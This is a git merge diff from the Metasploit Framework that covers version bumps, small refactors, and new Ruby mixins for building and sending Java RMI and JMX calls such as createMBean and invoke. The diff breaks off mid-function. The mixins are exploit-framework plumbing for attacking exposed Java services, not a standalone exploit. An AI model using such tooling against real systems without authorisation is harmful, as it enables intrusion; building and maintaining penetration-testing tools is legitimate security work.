Updating master to metasploit/master
commit
d53be873dc
|
@ -1 +1 @@
|
||||||
2.1.6
|
2.1.7
|
||||||
|
|
|
@ -25,7 +25,7 @@ script:
|
||||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||||
sudo: false
|
sudo: false
|
||||||
rvm:
|
rvm:
|
||||||
- '2.1.6'
|
- '2.1.7'
|
||||||
|
|
||||||
notifications:
|
notifications:
|
||||||
irc: "irc.freenode.org#msfnotify"
|
irc: "irc.freenode.org#msfnotify"
|
||||||
|
|
10
COPYING
10
COPYING
|
@ -5,15 +5,15 @@ Redistribution and use in source and binary forms, with or without modification,
|
||||||
are permitted provided that the following conditions are met:
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
* Redistributions of source code must retain the above copyright notice,
|
* Redistributions of source code must retain the above copyright notice,
|
||||||
this list of conditions and the following disclaimer.
|
this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
* Redistributions in binary form must reproduce the above copyright notice,
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
this list of conditions and the following disclaimer in the documentation
|
this list of conditions and the following disclaimer in the documentation
|
||||||
and/or other materials provided with the distribution.
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||||
may be used to endorse or promote products derived from this software
|
may be used to endorse or promote products derived from this software
|
||||||
without specific prior written permission.
|
without specific prior written permission.
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
|
|
@ -25,7 +25,7 @@ PATH
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-credential (= 1.0.1)
|
metasploit-credential (= 1.0.1)
|
||||||
metasploit-framework (= 4.11.4)
|
metasploit-framework (= 4.11.4)
|
||||||
metasploit_data_models (= 1.2.7)
|
metasploit_data_models (= 1.2.9)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
metasploit-framework-pcap (4.11.4)
|
metasploit-framework-pcap (4.11.4)
|
||||||
metasploit-framework (= 4.11.4)
|
metasploit-framework (= 4.11.4)
|
||||||
|
@ -126,7 +126,7 @@ GEM
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.15)
|
metasploit-payloads (1.0.15)
|
||||||
metasploit_data_models (1.2.7)
|
metasploit_data_models (1.2.9)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
|
|
@ -18,12 +18,12 @@ module Metasploit
|
||||||
hash = '-' + version_info['build_framework_rev']
|
hash = '-' + version_info['build_framework_rev']
|
||||||
else
|
else
|
||||||
# determine if git is installed
|
# determine if git is installed
|
||||||
void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
|
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
|
||||||
git_installed = system("git --version >>#{void} 2>&1")
|
git_installed = system("git --version > #{null} 2>&1")
|
||||||
|
|
||||||
# get the hash of the HEAD commit
|
# get the hash of the HEAD commit
|
||||||
if git_installed && File.exist?(File.join(root, '.git'))
|
if git_installed && File.exist?(File.join(root, '.git'))
|
||||||
hash = '-' + `git rev-parse HEAD`[0, 8]
|
hash = '-' + `git rev-parse --short HEAD`
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
hash.strip
|
hash.strip
|
||||||
|
|
|
@ -638,13 +638,10 @@ class ReadableText
|
||||||
# @param col [Integer] the column wrap width.
|
# @param col [Integer] the column wrap width.
|
||||||
# @return [String] the formatted list of running jobs.
|
# @return [String] the formatted list of running jobs.
|
||||||
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
|
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
|
||||||
columns = [ 'Id', 'Name' ]
|
columns = [ 'Id', 'Name', "Payload", "LPORT" ]
|
||||||
|
|
||||||
if (verbose)
|
if (verbose)
|
||||||
columns << "Payload"
|
columns += [ "URIPATH", "Start Time" ]
|
||||||
columns << "LPORT"
|
|
||||||
columns << "URIPATH"
|
|
||||||
columns << "Start Time"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
@ -653,16 +650,19 @@ class ReadableText
|
||||||
'Columns' => columns
|
'Columns' => columns
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
# jobs are stored as a hash with the keys being a numeric job_id.
|
# jobs are stored as a hash with the keys being a numeric job_id.
|
||||||
framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|
|
framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|
|
||||||
|
# Job context is stored as an Array with the 0th element being
|
||||||
|
# the running module. If that module is an exploit, ctx will also
|
||||||
|
# contain its payload.
|
||||||
|
ctx = framework.jobs[k].ctx
|
||||||
row = [ k, framework.jobs[k].name ]
|
row = [ k, framework.jobs[k].name ]
|
||||||
|
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
|
||||||
|
row << (ctx[0].datastore['LPORT'] || "")
|
||||||
|
|
||||||
if (verbose)
|
if (verbose)
|
||||||
ctx = framework.jobs[k].ctx
|
|
||||||
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
|
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
|
||||||
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
|
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
|
||||||
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
|
|
||||||
row << (ctx[0].datastore['LPORT'] || "")
|
|
||||||
row << (uripath || "")
|
row << (uripath || "")
|
||||||
row << (framework.jobs[k].start_time || "")
|
row << (framework.jobs[k].start_time || "")
|
||||||
end
|
end
|
||||||
|
|
|
@ -72,13 +72,6 @@ require 'msf/http/wordpress'
|
||||||
require 'msf/http/typo3'
|
require 'msf/http/typo3'
|
||||||
require 'msf/http/jboss'
|
require 'msf/http/jboss'
|
||||||
|
|
||||||
# Kerberos Support
|
|
||||||
require 'msf/kerberos/client'
|
|
||||||
|
|
||||||
# Java RMI Support
|
|
||||||
require 'msf/java/rmi/util'
|
|
||||||
require 'msf/java/rmi/client'
|
|
||||||
|
|
||||||
# Drivers
|
# Drivers
|
||||||
require 'msf/core/exploit_driver'
|
require 'msf/core/exploit_driver'
|
||||||
|
|
||||||
|
|
|
@ -230,4 +230,4 @@ module Msf::DBManager::Vuln
|
||||||
wspace.vulns
|
wspace.vulns
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -342,14 +342,18 @@ class EncodedPayload
|
||||||
self.nop_sled = nop.generate_sled(self.nop_sled_size,
|
self.nop_sled = nop.generate_sled(self.nop_sled_size,
|
||||||
'BadChars' => reqs['BadChars'],
|
'BadChars' => reqs['BadChars'],
|
||||||
'SaveRegisters' => save_regs)
|
'SaveRegisters' => save_regs)
|
||||||
|
|
||||||
|
if nop_sled && nop_sled.length == nop_sled_size
|
||||||
|
break
|
||||||
|
else
|
||||||
|
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload", 'core', LEV_1)
|
||||||
|
end
|
||||||
rescue
|
rescue
|
||||||
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
|
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
|
||||||
'core', LEV_1)
|
'core', LEV_1)
|
||||||
|
|
||||||
self.nop = nil
|
self.nop = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
break
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (self.nop_sled == nil)
|
if (self.nop_sled == nil)
|
||||||
|
|
|
@ -1034,12 +1034,16 @@ class Exploit < Msf::Module
|
||||||
nop_sled = nop.generate_sled(count,
|
nop_sled = nop.generate_sled(count,
|
||||||
'BadChars' => payload_badchars || '',
|
'BadChars' => payload_badchars || '',
|
||||||
'SaveRegisters' => save_regs)
|
'SaveRegisters' => save_regs)
|
||||||
|
|
||||||
|
if nop_sled && nop_sled.length == count
|
||||||
|
break
|
||||||
|
else
|
||||||
|
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit", 'core', LEV_0)
|
||||||
|
end
|
||||||
rescue
|
rescue
|
||||||
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}",
|
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}",
|
||||||
'core', LEV_0)
|
'core', LEV_0)
|
||||||
end
|
end
|
||||||
|
|
||||||
break
|
|
||||||
}
|
}
|
||||||
|
|
||||||
nop_sled
|
nop_sled
|
||||||
|
|
|
@ -14,6 +14,8 @@
|
||||||
###
|
###
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/java/rmi/util'
|
||||||
|
require 'msf/core/exploit/java/rmi/client'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Java
|
module Exploit::Java
|
||||||
|
|
|
@ -0,0 +1,101 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/java/serialization'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Builder
|
||||||
|
# Builds a RMI header stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||||
|
# @option opts [String] :signature
|
||||||
|
# @option opts [Fixnum] :version
|
||||||
|
# @option opts [Fixnum] :protocol
|
||||||
|
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||||
|
def build_header(opts = {})
|
||||||
|
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||||
|
version = opts[:version] || 2
|
||||||
|
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||||
|
|
||||||
|
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||||
|
signature: signature,
|
||||||
|
version: version,
|
||||||
|
protocol: protocol)
|
||||||
|
|
||||||
|
header
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a RMI call stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
||||||
|
# @option opts [Fixnum] :message_id
|
||||||
|
# @option opts [Fixnum] :object_number Random to identify the object.
|
||||||
|
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
||||||
|
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
||||||
|
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
||||||
|
# at the same time.
|
||||||
|
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||||
|
# it is -1.
|
||||||
|
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||||
|
# representing the method to call.
|
||||||
|
# @option opts [Array] :arguments
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
def build_call(opts = {})
|
||||||
|
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
operation = opts[:operation] || -1
|
||||||
|
hash = opts[:hash] || 0
|
||||||
|
arguments = opts[:arguments] || []
|
||||||
|
|
||||||
|
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
||||||
|
number: uid_number,
|
||||||
|
time: uid_time,
|
||||||
|
count: uid_count
|
||||||
|
)
|
||||||
|
|
||||||
|
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
||||||
|
object_number: object_number,
|
||||||
|
uid: uid,
|
||||||
|
operation: operation,
|
||||||
|
hash: hash,
|
||||||
|
arguments: arguments
|
||||||
|
)
|
||||||
|
|
||||||
|
call = Rex::Proto::Rmi::Model::Call.new(
|
||||||
|
message_id: message_id,
|
||||||
|
call_data: call_data
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a RMI dgc ack stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||||
|
# @option opts [Fixnum] :stream_id
|
||||||
|
# @option opts [String] :unique_identifier
|
||||||
|
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||||
|
def build_dgc_ack(opts = {})
|
||||||
|
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||||
|
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||||
|
stream_id: stream_id,
|
||||||
|
unique_identifier: unique_identifier
|
||||||
|
)
|
||||||
|
|
||||||
|
dgc_ack
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,168 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/rmi'
|
||||||
|
require 'rex/java/serialization'
|
||||||
|
require 'stringio'
|
||||||
|
require 'msf/core/exploit/java/rmi/util'
|
||||||
|
require 'msf/core/exploit/java/rmi/builder'
|
||||||
|
require 'msf/core/exploit/java/rmi/client/registry'
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Util
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Builder
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Registry
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1])
|
||||||
|
], Msf::Exploit::Remote::Java::Rmi::Client
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the timeout to wait for data between read iterations
|
||||||
|
#
|
||||||
|
# @return [Fixnum]
|
||||||
|
def read_loop_timeout
|
||||||
|
datastore['RmiReadLoopTimeout'] || 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the target host
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def rhost
|
||||||
|
datastore['RHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the target port
|
||||||
|
#
|
||||||
|
# @return [Fixnum]
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the RMI server peer
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a RMI header stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Fixnum] the number of bytes sent
|
||||||
|
# @see Msf::Rmi::Client::Streams#build_header
|
||||||
|
def send_header(opts = {})
|
||||||
|
nsock = opts[:sock] || sock
|
||||||
|
stream = build_header(opts)
|
||||||
|
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a RMI CALL stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
||||||
|
# @return [Fixnum] the number of bytes sent
|
||||||
|
# @see Msf::Rmi::Client::Streams#build_call
|
||||||
|
def send_call(opts = {})
|
||||||
|
nsock = opts[:sock] || sock
|
||||||
|
call = opts[:call] || build_call(opts)
|
||||||
|
nsock.put(call.encode)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a RMI DGCACK stream
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Fixnum] the number of bytes sent
|
||||||
|
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||||
|
def send_dgc_ack(opts = {})
|
||||||
|
nsock = opts[:sock] || sock
|
||||||
|
stream = build_dgc_ack(opts)
|
||||||
|
nsock.put(stream.encode)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Reads the Protocol Ack
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
||||||
|
# @return [NilClass] otherwise
|
||||||
|
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||||
|
def recv_protocol_ack(opts = {})
|
||||||
|
nsock = opts[:sock] || sock
|
||||||
|
data = safe_get_once(nsock)
|
||||||
|
begin
|
||||||
|
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||||
|
rescue Rex::Proto::Rmi::DecodeError
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
ack
|
||||||
|
end
|
||||||
|
|
||||||
|
# Reads a ReturnData message and returns the java serialized stream
|
||||||
|
# with the return data value.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
||||||
|
# @return [NilClass] otherwise
|
||||||
|
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||||
|
def recv_return(opts = {})
|
||||||
|
nsock = opts[:sock] || sock
|
||||||
|
data = safe_get_once(nsock)
|
||||||
|
|
||||||
|
begin
|
||||||
|
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||||
|
rescue Rex::Proto::Rmi::DecodeError
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return_data.return_value
|
||||||
|
end
|
||||||
|
|
||||||
|
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||||
|
#
|
||||||
|
# @param nsock [Rex::Socket::Tcp]
|
||||||
|
# @return [String]
|
||||||
|
def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout)
|
||||||
|
data = ''
|
||||||
|
begin
|
||||||
|
res = nsock.get_once
|
||||||
|
rescue ::EOFError
|
||||||
|
res = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
while res && nsock.has_read_data?(loop_timeout)
|
||||||
|
data << res
|
||||||
|
begin
|
||||||
|
res = nsock.get_once
|
||||||
|
rescue ::EOFError
|
||||||
|
res = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
data << res if res
|
||||||
|
data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,27 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx/server'
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx/connection'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection
|
||||||
|
|
||||||
|
OBJECT_NAME_UID = 1081892073854801359
|
||||||
|
BYTE_ARRAY_UID = -5984413125824719648
|
||||||
|
MARSHALLED_OBJECT_UID = 8988374069173025854
|
||||||
|
STRING_ARRAY_UID = -5921575005990323385
|
||||||
|
OBJECT_ARRAY_UID = -8012369246846506644
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,128 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx/connection/builder'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
# This mixin provides methods to simulate calls to the Java
|
||||||
|
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
||||||
|
# interface
|
||||||
|
module Connection
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder
|
||||||
|
|
||||||
|
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||||
|
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
||||||
|
def send_jmx_get_object_instance(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_jmx_get_object_instance(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
||||||
|
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
||||||
|
def send_jmx_create_mbean(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_jmx_create_mbean(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
||||||
|
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
||||||
|
def send_jmx_invoke(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_jmx_invoke(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
unless return_value.get_class_name == 'java.util.HashSet'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,238 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
module Connection
|
||||||
|
module Builder
|
||||||
|
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||||
|
# used to retrieve an MBean instance
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :name the MBean name
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
def build_jmx_get_object_instance(opts = {})
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
name = opts[:name] || ''
|
||||||
|
|
||||||
|
arguments = build_jmx_get_object_instance_args(name)
|
||||||
|
|
||||||
|
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: -1,
|
||||||
|
hash: method_hash,
|
||||||
|
arguments: arguments
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an an array of arguments o build a call to
|
||||||
|
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||||
|
#
|
||||||
|
# @param name [String] the MBean name
|
||||||
|
# @return [Array]
|
||||||
|
def build_jmx_get_object_instance_args(name = '')
|
||||||
|
builder = Rex::Java::Serialization::Builder.new
|
||||||
|
|
||||||
|
new_object = builder.new_object(
|
||||||
|
name: 'javax.management.ObjectName',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||||
|
flags: 3
|
||||||
|
)
|
||||||
|
|
||||||
|
arguments = [
|
||||||
|
new_object,
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||||
|
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||||
|
Rex::Java::Serialization::Model::NullReference.new
|
||||||
|
]
|
||||||
|
|
||||||
|
arguments
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||||
|
# used to retrieve an MBean instance
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :name the MBean name
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
def build_jmx_create_mbean(opts = {})
|
||||||
|
name = opts[:name] || ''
|
||||||
|
